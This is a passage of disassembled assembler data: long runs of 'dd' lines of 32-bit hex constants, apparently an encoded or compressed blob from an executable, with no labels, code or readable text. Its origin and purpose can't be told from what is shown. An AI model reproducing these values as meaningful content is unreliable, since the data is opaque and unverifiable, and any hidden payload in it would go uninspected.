		dd 0CBD2E02Ah, 50C6E9F0h, 6D59FD5Dh, 428C9420h,	0F5417C42h
		dd 0E610AB67h, 14488AADh, 5CB44F4Ch, 74B7ABFDh,	0FDB0212Fh
		dd 0E070111h, 2EAD3FC4h, 0C4DDE310h, 44674390h,	5AB4465h
		dd 0A1321C68h, 4A563BA0h, 49DBDCC6h, 2AD0FE41h,	9F4DEF8Ch
		dd 9348D969h, 5ED050Ah,	39920220h, 0E4C43EB6h, 0CC222950h
		dd 0BAF1EB5Fh, 0D9BA35B6h, 0FA24AC5Eh, 56FE3E95h, 0E8420E46h
		dd 6713AE89h, 31C3CF7h,	64FEF035h, 265A0CA0h, 2F149C75h
		dd 0C8267F4Eh, 38F8C205h, 842384FAh, 4F7615ACh,	38D01024h
		dd 0BD4E8DC0h, 0F140CAB9h, 53055C6Ah, 2958592Dh, 0A4A5F304h
		dd 83EDFAB9h, 7EF5BD11h, 358BAB16h, 0F62BF2E5h,	0CEE14ACCh
		dd 0D314D40Dh, 340FD168h, 593BF184h, 0CE812D5h,	44750D02h
		dd 0BBB38BFh, 512221C1h, 488F22A9h, 13C5473Ah, 31BB6075h
		dd 0B13468AEh, 0ABFA5C6Bh, 4FFCC87Bh, 0C00392C9h, 89442CB0h
		dd 4189127h, 1B102421h,	1C420522h, 67A9D20h, 74151463h
		dd 5E0CBB05h, 0E0472C0Fh, 86454B93h, 0FD9301C9h, 7454040Bh
		dd 3B88EA25h, 0D04997FCh, 0C774950h, 0EC556807h, 0D66493DBh
		dd 68EBAEE0h, 0F11F451Dh, 140B0ADCh, 20785D03h,	0C3790849h
		dd 0D4F0850Fh, 8402D5CDh, 43C7B613h, 14532933h,	488C782Ah
		dd 60D1A442h, 0CBFA3CC4h, 2CDA108Eh, 44FA3884h,	103B0473h
		dd 55B8AAB1h, 5C11DB43h, 512C8F44h, 0A2031D11h,	0BA8F918h
		dd 0B344DC15h, 0D815F864h, 3D8FD56h, 7F407CF4h,	0F00E1E05h
		dd 0FC0AF376h, 0C8734E2h, 0F52DC4F8h, 0C9C5CF5Ah, 2BDB34A1h
		dd 1F25AC5Bh, 421FAA17h, 7A26806Ch, 0AC0817BEh,	0A3D91D32h
		dd 210FEBE4h, 0D213D49Ah, 4967AFCh, 0BB70A38Ch,	77C96E0Ah
		dd 0ABB44255h, 0AB918815h, 0C25A6264h, 72857736h, 0E2424256h
		dd 0AAF0301Fh, 8C06EB80h, 0E1052B2Bh, 90258306h, 2F68E011h
		dd 6BD21980h, 69A3A940h, 0F0612198h, 1822DE78h,	5D315F06h
		dd 88DB206Ah, 5AD42241h, 640AC717h, 50030CA1h, 257089EEh
		dd 0EBAD0B8Ah, 0E865E17Bh, 216D892Bh, 0F230CD52h, 78C1D2E3h
		dd 707DD904h, 0D034E809h, 4CA081A8h, 1635BBE0h,	0C9CAED1Eh
		dd 7CDF0237h, 906E5744h, 22A3A21h, 5722EB0Ch, 474D5169h
		dd 681F91CAh, 701D4378h, 0B370B5Ch, 64BC3DE8h, 8BC33428h
		dd 0A41F13C8h, 0FAC8F0D1h, 70F1490Dh, 0A98356C5h, 65A8EAE8h
		dd 8A3D1556h, 0A068919h, 0A0843A0Ch, 512244C9h,	756BBC10h
		dd 7A0242C9h, 0AACD2590h, 1255EF92h, 6BEBF679h,	5609CDC8h
		dd 0B21EE829h, 8E96DA25h, 0E59843F6h, 516512BFh, 0FD92F9C7h
		dd 8D648830h, 6079606Ah, 0EEF76577h, 146A2A2Bh,	8A107564h
		dd 89104803h, 2F4E608Dh, 643D31F3h, 0A7A01242h,	61983F2h
		dd 4C101856h, 1AA621F9h, 4288FB85h, 272E5DBBh, 9788AFA9h
		dd 0A4632804h, 59102DD1h, 0E80A6471h, 0DE27634Fh, 65DA18E0h
		dd 0DB910D8Bh, 2BEC1A34h, 0BE54BF3Dh, 77144C74h, 2A418D1Fh
		dd 30393EA0h, 3421C01h,	0F4FA83C7h, 9EB4F17Ch, 28C21720h
		dd 39167418h, 54A42F4h,	0A092E910h, 5069C248h, 5E0340C0h
		dd 10BFA4C1h, 0EBE17427h, 0A8144E15h, 730224C3h, 78104D92h
		dd 187350ECh, 7027506Ch, 1BF0A414h, 6DA965E8h, 13E1E5Dh
		dd 45889CEh, 0A34905FFh, 26B03314h, 8446D4C8h, 68515302h
		dd 9F436CB2h, 72888BBFh, 144D112Ch, 63858918h, 0B1583949h
		dd 98201C75h, 0FFA64086h, 57380D50h, 2B5D092h, 0E6A6931Ch
		dd 59E9BF1Ah, 0A4FE585Bh, 5F5900F7h, 88C35A8Bh,	13A2BEE1h
		dd 841A277Ch, 0A15A762Bh, 0D2591D3Ch, 8ADAA977h, 744BC268h
		dd 914B9BD7h, 68BB4E7Fh, 91015B25h, 79562F88h, 0EC5713C6h
		dd 2B44D807h, 0F78B90EBh, 3DF60C2Bh, 67CA4C16h,	6C2460BFh
		dd 89238032h, 821C7C76h, 0F6691A73h, 88A15584h,	0C6120366h
		dd 4D807883h, 0BF40C707h
		dd 0EACF08ADh, 79EB2781h, 74873553h, 785B85E3h,	19CAB5Dh
		dd 4F0F5622h, 2D64C62h,	921D8B02h, 335AE0AAh, 0E4BA7F6h
		dd 0E63D8D28h, 5051C040h, 0B834E84Bh, 8F229F09h, 0C724A10Dh
		dd 68540644h, 0E39C0ABh, 86A4C681h, 0D2B1FEECh,	0A8BD720Ch
		dd 5B59888Dh, 0D8A011BEh, 816F8C45h, 4024B492h,	3BED3323h
		dd 7DFF554h, 464C08F7h,	215F20EAh, 44E2A56Dh, 39461402h
		dd 86882DFh, 554C2774h,	0C8708B3Dh, 0CB55CA4Eh,	1BA4FE0Bh
		dd 0B1C64ACBh, 8ECB2F2Ch, 22098C64h, 5B12DFE9h,	24A101BBh
		dd 10FF5C1Ch, 8AC1DFD5h, 0FD235FD8h, 107600AFh,	0A5BBFF33h
		dd 83C71072h, 324CFF48h, 14088D2Eh, 0E8120746h,	67208B2h
		dd 8F331A2Ah, 8A535428h, 71E89488h, 39638DA7h, 7484036Ch
		dd 81FB030Ah, 0A2218CFCh, 15ED7BA4h, 815D2520h,	242491C4h
		dd 56A4C406h, 851761E3h, 1103B75Ch, 0F685A404h,	10AC2CA3h
		dd 9F913E9Eh, 9EE4562Dh, 0F4682C88h, 0D1423F9Ch, 8A1A0925h
		dd 433042DCh, 0DDF46580h, 32081260h, 0F11BFFDDh, 0DC24077Ch
		dd 0E73EC847h, 712776AEh, 0C9266C6Bh, 5925248Ah, 0E2072E82h
		dd 2A851636h, 0F35CE468h, 1A442414h, 4778F82h, 0D1E0116Eh
		dd 0FEC74881h, 7CC6DDD0h, 8F458A9Ch, 0EB67883Bh, 219A1557h
		dd 4F3791C4h, 94B31ED4h, 1D1DA321h, 963CF1A7h, 63F3F224h
		dd 61D3C546h, 70AF365Ch, 709B0240h, 2AE986CBh, 6BCA0775h
		dd 1A7B77A2h, 55186A0Eh, 0A30711AAh, 5A45F84Ah,	0B60A91D8h
		dd 0D8092B0h, 24BD070h,	362FE8CDh, 0EC8F6EFDh, 210B4291h
		dd 7C4C27F4h, 0F009A8B8h, 806C10Fh, 8771117Eh, 0E583104Ch
		dd 9C5C16F3h, 0D35BF996h, 24DA0EEEh, 29784CD0h,	7AAFC1A5h
		dd 28575A30h, 9BA87EA4h, 751FB60Fh, 10C68A18h, 16268856h
		dd 0B5A4F8E8h, 0FE6AED41h, 0A76358E1h, 80168037h, 3508187Dh
		dd 0EB620573h, 0C68BE301h, 5A74708Dh, 5949CFD4h, 0ACC3B89Ah
		dd 50988B63h, 4B827866h, 5A0DB318h, 7A91C6A8h, 2769012Ch
		dd 586BB856h, 2A897D44h, 0F4A10EEBh, 7FE9B80Fh,	0EF4F5D04h
		dd 0A4222942h, 9D80CECDh, 0A37AF020h, 68BB8C54h, 243D82Bh
		dd 0FDAC6816h, 0A1B4B14Fh, 11C4A618h, 6490DB33h, 0C9B01D38h
		dd 79027593h, 38D54614h, 34C33B6Dh, 8429A0A3h, 0E953FE65h
		dd 48D73FDh, 48813C3Dh,	48452068h, 149F1EA3h, 25642435h
		dd 1EA822E4h, 0C69A48FBh, 1570550h, 9C1D3915h, 0C898224Ah
		dd 8C64A818h, 8019A432h, 0CB2DEE33h, 6C968FBh, 0B72B2B6Ch
		dd 54B368C7h, 851D8491h, 0BF0A48BFh, 0FF517002h, 0E5B0DA30h
		dd 8C3BA0CDh, 0CB277D30h, 0C6116101h, 0FFDC07Fh, 5DA32F82h
		dd 6E31A5Fh, 0F44D8305h, 2ED6C7FFh, 9CD02299h, 25FBEC42h
		dd 1911F1F8h, 0D806E4h,	965E76D4h, 0BD5A170Fh, 11907BDEh
		dd 46E8CC5Ah, 0FDFBA6D8h, 1196E595h, 3A8B36E4h,	287531FAh
		dd 0E901DC0Eh, 84813BE4h, 7E780373h, 76FC1061h,	0EB50071Bh
		dd 99CC6816h, 0A308081Bh, 5FB5E98Dh, 453C007Bh,	3B475EECh
		dd 0E9D07D2Ch, 39D86831h, 0B6F4EBA7h, 0E4165B19h, 16701E2Bh
		dd 5AA4FCD0h, 0F82DA2ECh, 5C346D19h, 0C8486D9h,	51F34DB6h
		dd 4284F20Bh, 0E5F02AF1h, 85A1992h, 93506B28h, 9C680DC2h
		dd 21FB12E5h, 52EB2C10h, 0DC442425h, 8CDFACF4h,	21744327h
		dd 801094C1h, 883B557Ah, 0E088093Bh, 99FEB649h,	3A068A66h
		dd 240FCBF4h, 0A565D186h, 994C8851h, 0B5064F3h,	12F122F2h
		dd 0FC94EE74h, 0A2849163h, 0C641948h, 0A1EB2D28h, 0E45D0F12h
		dd 810C5E55h, 6E462082h, 5F453F33h, 0CBBEC33Fh,	0C098AF85h
		dd 9F2D25E8h, 0F76430FCh, 71ADB608h, 0C352B401h, 33612012h
		dd 868D0C12h, 21B01246h, 14189EF9h, 5B74109Ch, 4D4BD31Bh
		dd 0E13D3F3Ch, 0B7F5965h, 0BDC81047h, 1E8806CEh, 14364658h
		dd 83B96A88h, 24E8D929h, 2723C008h, 2A203709h, 0B8058729h
		dd 14ABC930h, 8628CEF0h, 37DE2BA4h, 4427C9F4h, 452C5826h
		dd 2CB43DA8h, 0AE3A0457h, 0CB3B7D72h, 8ABC77B0h, 0BDCE15Dh
		dd 127E9C43h, 0E536E953h, 2A9D3F27h, 80D8C2Eh, 5BD71144h
		dd 0DD56A99Eh, 1CAA0E12h, 9351E7BFh, 546D531Fh,	31FF624Ah
		dd 8468541h, 0D8204E3Ch, 0ECD6A32h, 0AF302570h,	94C54F63h
		dd 0F956AA11h, 625855ACh, 0C0320709h, 5342917Dh, 0C688992Fh
		dd 429D6CC6h, 9ABB5D37h, 9DEB881Ch, 6C867127h, 0C64BBB82h
		dd 0A64875A2h, 31B2A888h, 48C55DEEh, 9FC6B38Fh,	0A28B9063h
		dd 0BD802282h, 9D5A268Ch, 6F742784h, 41C07312h,	1AC5E349h
		dd 42AF3B80h, 147408B2h, 16D91355h, 0E6A03D28h,	14033E73h
		dd 875D0FEBh, 13D1D83Bh, 99556468h, 66279CAAh, 2D4A1F43h
		dd 88F28841h, 68B0FFAh,	458CA1Ch, 0DB84B30Bh, 5D5BA09Ch
		dd 17BFBCE7h, 0C604B396h, 0D1AB3202h, 50D1E84Fh, 0C38A59FEh
		dd 0A8C6ABB9h, 0AB51B589h, 0FC58D631h, 0C84F82Dh, 9CFE619Dh
		dd 28971759h, 5BDEB384h, 111B4DC3h, 4AFD5C26h, 46A06361h
		dd 1E5CD408h, 0B5D4DF0Fh, 6A347E2Eh, 0D984CDF6h, 6E419DEBh
		dd 8A8662CCh, 3B056A2Bh, 26BBE79Ch, 52497B75h, 9C812D10h
		dd 0D6A07FF1h, 0A877EB82h, 110E911h, 209C6A84h,	93571CEBh
		dd 0DC6809DFh, 0B154C319h, 3D770C2Dh, 7D5F7352h, 4238BECh
		dd 9C4E8A02h, 18F7C98Bh, 8C46BC8Bh, 5C77A722h, 0C54493BBh
		dd 0B3669518h, 28A3084Fh, 0BD168A1Ch, 0C30C25Eh, 2DEF0455h
		dd 48282A0Fh, 4119EC18h, 64D1743Ah, 863F2019h, 231E0A98h
		dd 0FA821775h, 2057C30h, 1E2C7E39h, 46400424h, 83B0C7EBh
		dd 38EB1E55h, 8D17620Fh, 7DC25678h, 723D4AAAh, 0E77509A0h
		dd 4560638h, 9232EC8Fh,	28686611h, 0C406953h, 75AECE0Eh
		dd 0BA28DB9Bh, 6745694Ch, 0EE4F26Bh, 8CCA3A5Eh,	0DD412436h
		dd 7E5A46C3h, 617A0A0Ah, 0F7A0E40h, 0D98A097Fh,	3A20F381h
		dd 0FA8852DAh, 0F922AC13h, 0A827AC13h, 8A7CA8C4h, 0AB5B4487h
		dd 16A7920h, 58C90185h,	0C83B0C74h, 0AF0FEC7Ch,	490499A0h
		dd 329559B8h, 26AD5083h, 4061F0BEh, 0DB33E87Dh,	2C66A539h
		dd 71A758A4h, 3E808BC1h, 8A11C200h, 78C20146h, 0D75B783Ch
		dd 0EB58D607h, 0E23CFFF6h, 7F9AD6CEh, 0DF4FED66h, 754E5086h
		dd 2B750908h, 88504FFBh, 25A80F48h, 41CCD030h, 0E6FB219Dh
		dd 7CF4D868h, 39120D62h, 0F504F57Fh, 32B5A4D0h,	30DD1AD0h
		dd 7F660A52h, 558A154Dh, 0A14AFCE8h, 0B1B53A3Ah, 2BD3FFD3h
		dd 0C27825D8h, 4077F562h, 0C50B0421h, 0F8518A59h, 0EA9850BBh
		dd 0E80A68B4h, 0B2A0D43Fh, 0F00128C9h, 0CFC8D863h, 54944F59h
		dd 8E7C993Ah, 0F63EF816h, 2BA84B45h, 59E4B882h,	9ABD5F68h
		dd 36241ABBh, 26365827h, 68172BBAh, 0ABF327ABh,	0FC9A1789h
		dd 3219C473h, 45C89108h, 0BF9EC53Eh, 67289B5Bh,	0C81D34D3h
		dd 0FF530644h, 693DB54Eh, 2032594Fh, 0A974894h,	64104646h
		dd 7CE90D8Eh, 3E910A12h, 12753B14h, 4CFF468Bh, 0D4402A4Fh
		dd 9CD48184h, 50C00998h, 10B9CF61h, 68760CA0h, 830C53D2h
		dd 8B09731Ch, 1D9C3816h, 76063AADh, 8AE5EB04h, 0C93208E1h
		dd 59D2207Ch, 78AE12B5h, 8B215C36h, 50ACF0C8h, 6BB48E9Ch
		dd 20962126h, 0E9144EE4h, 3D7F07F3h, 0CA17C4D8h, 0CD9B088Eh
		dd 28B4A6A1h, 0E0E91031h, 21CC1F52h, 3FC8850Fh,	0DC516BB3h
		dd 29BDE16Eh, 114073F8h, 99009E68h, 11FCA550h, 843A0AE8h
		dd 0FA0C6164h, 12B63F98h
		dd 3FE0073h, 0BC8D367Eh, 2FC61D35h, 9895C868h, 9B9E2F76h
		dd 1E14E6F3h, 1F88862Eh, 0DCC42960h, 4BBE443Ch,	61DD2E59h
		dd 99046AC6h, 0F6F9F7E4h, 0C82B1DCEh, 1A6BA881h, 0ED4D870Fh
		dd 72D02812h, 0D2B6F29h, 8B518E64h, 85DDA02Ah, 28D08B92h
		dd 16C8ED56h, 0F3A4688Ah, 98CA104Eh, 229264D4h,	0C461175h
		dd 301041EFh, 32CC3D08h, 0C44013E6h, 0FF294680h, 6D844E8Ch
		dd 944921D6h, 0CA9D2127h, 5F859AC8h, 9838FFF7h,	8A1042B5h
		dd 89422850h, 8B1A4727h, 0B6792B5Ch, 0CD89ABA3h, 0C80CFC2Ah
		dd 359C62FEh, 786825A2h, 6629E90h, 7511F984h, 22882514h
		dd 0CD20842Ch, 10168E91h, 478A5808h, 0CBF20C45h, 0FB863733h
		dd 8579D34Dh, 0BE0C6A06h, 6BF1B1Ch, 9F4BA095h, 56ADF02h
		dd 112954C2h, 6F1C9C8Dh, 0C45E85E3h, 2074C0A6h,	104845C7h
		dd 0E8A481D8h, 51C3386Dh, 347BDF3Fh, 532323BBh,	8B65ABEDh
		dd 15D0BAECh, 63835089h, 5B4F07E8h, 9137C222h, 0FCD21036h
		dd 53EDCE09h, 86EA62Fh,	0C3E72017h, 74742740h, 37D52D1Dh
		dd 9320D724h, 149E8C4Ah, 11282089h, 1D8C7EE9h, 593BB8E8h
		dd 6A0514AEh, 4DE4BE07h, 1BD8BD32h, 5008B440h, 40CAA3A1h
		dd 0B95D8827h, 1808B4A0h, 0C4D23388h, 0CD0E1C12h, 0AF9CDF95h
		dd 0BD8031C4h, 0C00C05B4h, 5F186A55h, 601B60Fh,	8B57C803h
		dd 0A22099C1h, 0FA4F588h, 4D84BC44h, 0BBD6791Ch, 15843245h
		dd 0D01E4F1Bh, 140D4488h, 5EBA79A0h, 0BB34E8C6h, 0AC7D26A2h
		dd 58DDC4D7h, 0C68F7956h, 8C2DD787h, 91EBD10Ah,	0C53ECB08h
		dd 9638E88Ah, 0CA545F7h, 2A64C61Eh, 8AA0EA9h, 0C1C81CCh
		dd 0D24084AFh, 0B442860Eh, 15E1D820h, 1A40EF0Bh, 84F17CC1h
		dd 88047DE9h, 0E6A8D4B0h, 88904875h, 194B8C0h, 48835D38h
		dd 4CB1D474h, 63E0645Fh, 2C29DBABh, 74811491h, 632DE80Ah
		dd 7A4D2D91h, 0D15F2C2Dh, 1E176536h, 500D9416h,	4523C421h
		dd 91826988h, 0B832641Eh, 84190E52h, 0BE080F11h, 7D84B094h
		dd 8B16D0C0h, 39F2015h,	698CBE50h, 0B7F2225h, 8AB587B9h
		dd 80BF06CFh, 0A3A2521h, 9B822FF0h, 51B3CD8h, 142170BFh
		dd 5F50BE12h, 0A218EE7Eh, 3097C42Eh, 0A1A0363Bh, 9DC49FD0h
		dd 4BEE2556h, 716157ACh, 0A358C305h, 0A787D0B6h, 2F0A1647h
		dd 135D342h, 4809B4E9h,	0A28A1090h, 0E51476EEh,	0BE10126Fh
		dd 50895B29h, 0D1A2C4ADh, 0F5130233h, 0A91C280Bh, 398BD474h
		dd 5453C0BFh, 0BA18404Dh, 3449991h, 4CF82F84h, 8C2B87A4h
		dd 0CA9EC01h, 8ADC0C1Fh, 7342D3C5h, 480D25A7h, 758CD037h
		dd 53FFB71Ah, 29842270h, 7DEB4A9Fh, 4522C095h, 181F1999h
		dd 0C844C09Fh, 53C7A6FBh, 0F6A144B0h, 0A79D528Fh, 22A044A4h
		dd 0E461EA2Bh, 909B80DAh, 6CF5820Ch, 8F1C2A35h,	0BE61992Fh
		dd 0E91B0FB1h, 905552A6h, 40C1011h, 6201E83Fh, 110C5A31h
		dd 0F16F0984h, 4A1A092Ah, 9386195Eh, 6C523B43h,	65F1278h
		dd 4216DEB0h, 0B109486Ch, 4995F04Eh, 64214515h,	9AF80F12h
		dd 1954589Dh, 150F4E9h,	56844817h, 49855A17h, 0A5C64475h
		dd 463C220Bh, 0CA85457h, 9C438630h, 90902421h, 787314CAh
		dd 7BC8763Ch, 12116EA2h, 3284475h, 3A266274h, 54538F7Eh
		dd 5D0B820Bh, 89115B2h,	0E84934E0h, 34D7C920h, 0FF256CE9h
		dd 1446D334h, 439992ABh, 4BF0111Ch, 7E382326h, 10797225h
		dd 0AB2CE954h, 952FC2Bh, 0DF4FA1F3h, 3139101Bh,	0D1A55F54h
		dd 5D1091E0h, 0FB7F4A4Eh, 0AF68A8Ch, 43E86387h,	57502914h
		dd 2295160Ah, 0D7D948F9h, 0A3914657h, 143166C5h, 0D32A36B4h
		dd 9894F84Bh, 99E61C3Ah, 32278A91h, 2828BC7Dh, 0BFD82553h
		dd 1C81C8F0h, 240909A6h, 50454695h, 754F0C0Fh, 4D02D8DEh
		dd 998C32Bh, 0EBA9B862h, 0ACAD8474h, 8B537541h,	47A9487Dh
		dd 0A672186h, 691B60Ah,	6C4DD6C9h, 56884F30h, 9E7750FFh
		dd 9D21952Bh, 0D2301C88h, 682914CEh, 918DA090h,	8AD94113h
		dd 57E96589h, 8050E764h, 8B51305Bh, 5822BD0h, 6BF94C1Eh
		dd 3E16266Ch, 95136129h, 9F7E986h, 0DA1F8B71h, 0C8D3788Bh
		dd 0D476070h, 10A924A8h, 0D6E913EBh, 4B549C31h,	0FEE1962Dh
		dd 0A58012ACh, 3172441Ch, 0CA511C6h, 59938438h,	21C6F2E3h
		dd 28954C3Fh, 6636E150h, 0A430B952h, 1D221C1Ch,	0EC8A1004h
		dd 4EC6E952h, 0D77C83F1h, 4B102C84h, 0CF225CE5h, 1B286BF3h
		dd 131F4028h, 0F04C611Bh, 1382114Ah, 8083F47Ch,	0CE3836EEh
		dd 0E41142B7h, 1F46264Ah, 1327ECACh, 0BFAF2D00h, 0C97765EAh
		dd 8B03901Bh, 5979B652h, 0B4D35AF7h, 0A0E8B156h, 18940DBAh
		dd 0C24B4790h, 5584D89Ch, 999C5A2Dh, 4E42CC36h,	0A145161Dh
		dd 648285B4h, 0CC9EC240h, 2509C005h, 22931B16h,	79A07E46h
		dd 25894AB8h, 42AC11FEh, 6039291Eh, 0D25E808h, 0B017CE90h
		dd 254E6428h, 0C4B0A850h, 48D42E9h, 273184EEh, 1132BB57h
		dd 71748A2Dh, 5240BC39h, 691F2282h, 0ED528450h,	9AD8E927h
		dd 232F34F8h, 0F04707FEh, 106762E8h, 9032A924h,	22551411h
		dd 0A0CEC28Ch, 0AB95E922h, 4222EC1Ch, 0F7074B9Ah, 0ACD22B39h
		dd 1680B828h, 7C690577h, 34E20E0Fh, 0FD8F84D9h,	0DF17A81Eh
		dd 0EE93D2B4h, 40593C31h, 2E41A3C9h, 4A527EE9h,	3EC71258h
		dd 0A964443Ch, 1A084C19h, 0B2F6709Dh, 24536B69h, 4468FE38h
		dd 0F4F557A0h, 38113091h, 8856386Fh, 0CA92C36h,	86240CF3h
		dd 1822E743h, 0BE4D7532h, 0F6CEF79Ch, 4F6FE5B7h, 2D1EE9DFh
		dd 1A544156h, 87DC860Fh, 228DC67Fh, 53461144h, 220CAA64h
		dd 69A94E26h, 75C14BB7h, 0DC7E8B50h, 485E1C49h,	0CF8E4803h
		dd 49CC84D0h, 5E80A43h,	8A9DD2C4h, 0B2C49599h, 0A4317225h
		dd 2532B80Ch, 0CA14B019h, 0A388634h, 1F185493h,	0DD2BA8A4h
		dd 94548405h, 4286D10Ch, 5385388Ch, 5E3912DDh, 0F84F38ACh
		dd 82744892h, 881C458Dh, 0A720B5ECh, 66AD719Dh,	0C0C94B54h
		dd 0A728551Ch, 0BF840EE0h, 844EBD16h, 688026Ah,	0A2F64B1Ch
		dd 0D220C8B8h, 9823A07h, 4482EB0h, 268858B7h, 89E92A75h
		dd 0EC251838h, 1AF42788h, 851123Ah, 2786401h, 741ABD0Fh
		dd 64C26164h, 95187517h, 1440112Fh, 0A218CFEBh,	51521095h
		dd 68C3EC9Ch, 9029620Ch, 14100EBAh, 24F99B57h, 0E1BF688Eh
		dd 9FFF4685h, 0D9A57503h, 2FE98853h, 497404A5h,	8157E49h
		dd 75E32011h, 7BE56AFBh, 0F9AC6FF1h, 5A49244Dh,	1E38E851h
		dd 0A40DC765h, 6AE3415h, 0E748E427h, 42FA0F59h,	68BB6224h
		dd 9E1382C8h, 7B9A64FAh, 2B8589B8h, 116270A5h, 46790CAh
		dd 0AD8BDFE8h, 0CE0A2CDAh, 4808604h, 0CD3476B3h, 688E0225h
		dd 45AB48B0h, 8808FADCh, 45746A8Eh, 3412089h, 48068AC7h
		dd 0F04D88F7h, 0F1F8400Ch, 0F2645DF2h, 0F30CF912h, 0F481FA0Ch
		dd 20F51E90h, 0FDF640FCh, 0F802F781h, 0F90FFE04h, 0F2FF40E7h
		dd 0FB8FFA45h, 0FB26502Ch, 8B55E827h, 0F2A96309h, 4A8385F6h
		dd 4F30B32h, 1178773Fh,	4C749734h, 5A48B4C2h, 0D3D2554h
		dd 0E9134444h, 0AA8C03D3h, 21E3A464h, 5810F9BBh, 0E88AB8C8h
		dd 42A7C32Eh, 6AE80283h, 0EAE4FD10h, 1C605DF8h,	1DE823E8h
		dd 4361968Bh, 2832C766h, 24094A02h, 6F34122Bh, 6FDD0BBEh
		dd 0D64BE474h, 2A253CACh, 0A672E6D4h, 0A946697h, 0A7A1E8EEh
		dd 0F012B38Eh, 9A89F9A7h, 8B2EB97Dh, 0C4BB6AFBh, 62FE257Ch
		dd 236EC16Bh, 450E7EA0h
		dd 400F9120h, 2DB8326h,	8A9FE82Bh, 72CA6AACh, 25EB9B4Dh
		dd 4C10F23Dh, 7416277h,	25A3B16Bh, 0F7C40876h, 3821F842h
		dd 0C6C2841Ah, 5E0C8941h, 0C28A200Ch, 5000D1D5h, 9A916E6Ch
		dd 25C5E98Ah, 21311895h, 0C0C951Ch, 4901021h, 2101F3C4h
		dd 0E70847F8h, 75E84486h, 0E0803750h, 5D0A11DFh, 0D2A0E1ABh
		dd 6450C396h, 0CE2D843Bh, 0ACA8790Bh, 99619856h, 1C2EE856h
		dd 559534AEh, 47D41257h, 0E119288Fh, 0C3C33DEh,	717488CCh
		dd 44C010C8h, 0A8B80869h, 2212699h, 0A614797Ch,	819111Bh
		dd 2140B12h, 47B468EFh,	8DC56E82h, 0FE94132h, 0CCFEE254h
		dd 894E3964h, 47A82621h, 2D7F8E33h, 0B9F68D96h,	0A0D188CEh
		dd 0A3E82026h, 463E92Ch, 74C5FCAEh, 68910ABBh, 12AE2835h
		dd 5F03EB1Ch, 9BF595FAh, 0DB53BF27h, 0C89CF71Ch, 0BE27F6D0h
		dd 0DE13D251h, 0BF4CE2A9h, 0CF8FC13Ch, 0CAADF1F7h, 1975EA3Dh
		dd 2793F8DDh, 0E271F8CEh, 39B649E4h, 6182E064h,	18E8E95Dh
		dd 599EB7DFh, 7EA1946Dh, 73181B30h, 43FEB229h, 1032C2BDh
		dd 44F4F613h, 0F9254321h, 5589606Dh, 0D82D8B1Ch, 6004258h
		dd 65A94D9Ah, 1D082010h, 1840600Bh, 2EB8414h, 931B75E4h
		dd 51F81227h, 0BFF9B492h, 5A559156h, 0DFF3966Eh, 9D561027h
		dd 10571843h, 1056E408h, 200951F8h, 48183468h, 4B840A18h
		dd 5F3CA838h, 49B39B2Ch, 9C29A0DAh, 0D5F76211h,	68438B24h
		dd 6A758FD0h, 7550AE4Ah, 1055DF1Dh, 9D11047h, 6AEB1480h
		dd 4649F868h, 0AD2138Ah, 0F97639AFh, 1ACD380Bh,	535B80E9h
		dd 0F9A7671Dh, 379604DEh, 0D63827BEh, 2BF865A0h, 317C23BCh
		dd 0D883656Ah, 0E8190AF4h, 6F595BDBh, 886E028Dh, 0F95080B5h
		dd 847E07F5h, 9FAE64B7h, 5418EECh, 5A279920h, 848CA603h
		dd 23638731h, 78C1115Ah, 123B50BEh, 5B00E678h, 0D0920B05h
		dd 7481DBADh, 0B3388043h, 18F899A0h, 75FE793Bh,	55DA3068h
		dd 50A0748Dh, 86D044E8h, 4018D811h, 624FAA14h, 6F8557CEh
		dd 2445424Dh, 317FB9EBh, 0C57A5D4Fh, 5E0DA8E5h,	0D4B299E8h
		dd 0A6105355h, 43114529h, 283E80A1h, 13F8CFCFh,	0B8696846h
		dd 0E29202CFh, 0C8C55D86h, 5BEF4433h, 12E2F8DFh, 25BF0148h
		dd 0A6C4AFC3h, 971A11FEh, 0B4882C22h, 4282CB51h, 7F0F1239h
		dd 0CC556A22h, 8068B08h, 8693B4BBh, 0B8534026h,	73B6CF5Fh
		dd 50939E64h, 4D8DA0DEh, 85164ACh, 5CC4FECh, 3202A468h
		dd 468661E8h, 0B42BE7C7h, 92B77563h, 1A225C9Eh,	437C2B46h
		dd 16ACB23Dh, 0FAA9293Bh, 8EB6AE75h, 5B2015CAh,	34628CA2h
		dd 6DCE8A29h, 18B28429h, 29529C95h, 758F1811h, 0DB996513h
		dd 0C93B0D89h, 0E9E72039h, 21278953h, 0E3EA9F90h, 90BF0789h
		dd 0A170EB5Eh, 0CF0C881Bh, 5298BD85h, 53EB84D8h, 0C7C1BA1h
		dd 0F80887B4h, 883890D3h, 38996470h, 1DA3443Ch,	7E0CE384h
		dd 46899D8Eh, 0A444A490h, 8ADF0F82h, 0AC51D2F6h, 8947571Ch
		dd 3FE2AC88h, 0C7211689h, 1CAC71DAh, 0BE908518h, 0FD39ACA2h
		dd 802316DEh, 0CAAC11D7h, 26511BE2h, 8EACD25Ch,	851BC752h
		dd 0D262A26Ah, 88C23BACh, 22C2E914h, 4829A372h,	0AB646871h
		dd 8174D41Fh, 94FE3B75h, 0D9A79D46h, 710C6038h,	8184088Dh
		dd 55325CE4h, 76044014h, 58186950h, 0C43D4386h,	88215172h
		dd 87250849h, 45397388h, 0D304854h, 80217778h, 53595008h
		dd 0CD22102Bh, 65E90C82h, 0FC4F19E6h, 0AD2F7AC3h, 0BD0211C8h
		dd 564EDD6Ch, 100D83F9h, 2A2BC6E8h, 1A85ED0Ch, 85D0B149h
		dd 0E9835FE8h, 5038CB41h, 4F73BFC6h, 0F5C84789h, 0F8184391h
		dd 10BD8486h, 0A0B3F13Dh, 1757145Eh, 0BA4FBC68h, 228D8F62h
		dd 16ACDBB7h, 0A112C3C0h, 97B89D44h, 0C805ED5Eh, 0B8BF0608h
		dd 7425229Ah, 20777A3Dh, 0E8139C38h, 0F9E482ECh, 9404BD0Ch
		dd 0F0E71D05h, 93D8636Bh, 6D0538BBh, 82D0E853h,	5A2B1E8h
		dd 0FF5CEB22h, 55EEC964h, 39F63309h, 149ADA1Dh,	7B80D74h
		dd 46F0B04Bh, 75183901h, 2268E8F8h, 0F7F6403Eh,	52348DF6h
		dd 0FF82E0BDh, 111DA2B6h, 20168666h, 5B0C2445h,	0B68B8875h
		dd 7A3E2851h, 92895E2h,	0DA96989Ah, 3110D629h, 36832345h
		dd 300D3F4Ch, 0F3BD397Ch, 0F2DC2FD3h, 0B38838E5h, 0FDC82585h
